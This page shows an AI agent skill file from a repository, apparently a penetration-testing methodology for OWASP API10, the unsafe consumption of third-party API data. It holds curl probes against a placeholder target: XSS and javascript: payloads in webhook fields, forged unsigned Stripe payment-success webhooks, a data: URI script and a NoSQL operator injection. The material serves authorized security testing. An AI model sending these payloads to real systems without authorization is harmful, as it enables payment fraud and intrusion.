Api unsafe third party consumption

From xalgorix/xalgorix · View interactive version

Api unsafe third party consumption is an AI agent skill from the GitHub repository xalgorix/xalgorix. Testing whether the target trusts data from third-party APIs, webhooks, or callbacks without sufficient validation, enabling injection, logic bypass, or data poisoning

How to use this skill

Skill file

API Unsafe Third-Party Consumption (OWASP API10)

Purpose

Test whether the target API consumes data from external services (webhooks, payment callbacks, identity providers, enrichment APIs) without properly validating the input, enabling data poisoning, injection, or trust-boundary failures.

Preconditions

Distinction from SSRF

Attack Surface Signals

Methodology

Step 1: Identify Third-Party Data Ingestion Points

Map where the target accepts external data:

Step 2: Test Webhook Payload Injection

# If you control the webhook source (e.g., you registered a webhook):
# Send a webhook with malicious payload in fields the target processes

curl -sk -X POST "https://TARGET/webhooks/stripe" \
  -H "Content-Type: application/json" \
  -d '{
    "type": "payment_intent.succeeded",
    "data": {
      "object": {
        "id": "pi_test123",
        "amount": 100,
        "metadata": {
          "user_id": "<img src=x onerror=alert(1)>",
          "callback_url": "javascript:alert(1)"
        }
      }
    }
  }'

# Check: does the metadata get stored and rendered without sanitization?

Step 3: Test Missing Signature Validation

# Check if the webhook validates the signature
# Send a webhook WITHOUT the signature header
curl -sk -X POST "https://TARGET/webhooks/stripe" \
  -H "Content-Type: application/json" \
  -d '{"type":"payment_intent.succeeded","data":{"object":{"id":"pi_fake","amount":999999}}}'

# If accepted without Stripe-Signature header → missing validation

# Try with an invalid signature
curl -sk -X POST "https://TARGET/webhooks/stripe" \
  -H "Stripe-Signature: t=1,v1=invalid" \
  -H "Content-Type: application/json" \
  -d '{"type":"payment_intent.succeeded","data":{"object":{"id":"pi_fake"}}}'

Step 4: Test OAuth/IdP Data Poisoning

# If the target consumes user profile data from an IdP:
# Can you control the data sent in the OAuth userinfo response?

# Test: set your profile email/username on the IdP to contain injection
# Then trigger the OAuth flow on the target
# Does the target trust the email from the IdP without validation?

Step 5: Test Third-Party URL/Redirect Handling

# If the target follows URLs from third-party responses:
# Can the third-party response contain a redirect to an internal service?
# Or a data: URI, file: URI, or javascript: URI?

curl -sk -X POST "https://TARGET/api/import" \
  -H "Content-Type: application/json" \
  -d '{"source_url":"data:text/html,<script>alert(1)</script>"}'

Step 6: Test Upstream Schema Drift

# If the target expects a specific JSON structure from an upstream API:
# What happens when the upstream sends unexpected types?

curl -sk -X POST "https://TARGET/api/webhooks/custom" \
  -H "Content-Type: application/json" \
  -d '{"user_id": {"$gt": ""}, "amount": "not_a_number"}'

# Test type confusion: string vs int, null vs object, array vs object

Step 7: Test Trust Boundary Failures

# If the target uses third-party data for authorization decisions:
# Can you manipulate the third-party data to bypass access control?

# e.g., target trusts the "role" field from the IdP response
# Can you get the IdP to send a different role?

# If the target trusts "email_verified": true from an unverified source:
# Can you create an account with email_verified=true without actually verifying?

Evidence Contract

An unsafe-consumption finding requires:

  1. The third-party data source is identified (webhook, IdP, API)
  2. The target accepts data from that source
  3. The manipulated data caused a concrete security impact:
  1. The target did NOT validate the data (or validation was bypassable)

NOT evidence: The webhook endpoint exists, a third-party API is used, a 200 response from the webhook receiver

Common Misses

False Positives / Non-Findings

Xalgorix Tool Strategy

Stopping Rule

Test every identified third-party data ingestion point for: signature validation, input sanitization, type confusion, authorization bypass, and injection.

Handoff

Report each confirmed unsafe-consumption issue with the data source, the manipulated field, the validation that was missing, and the concrete impact.

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.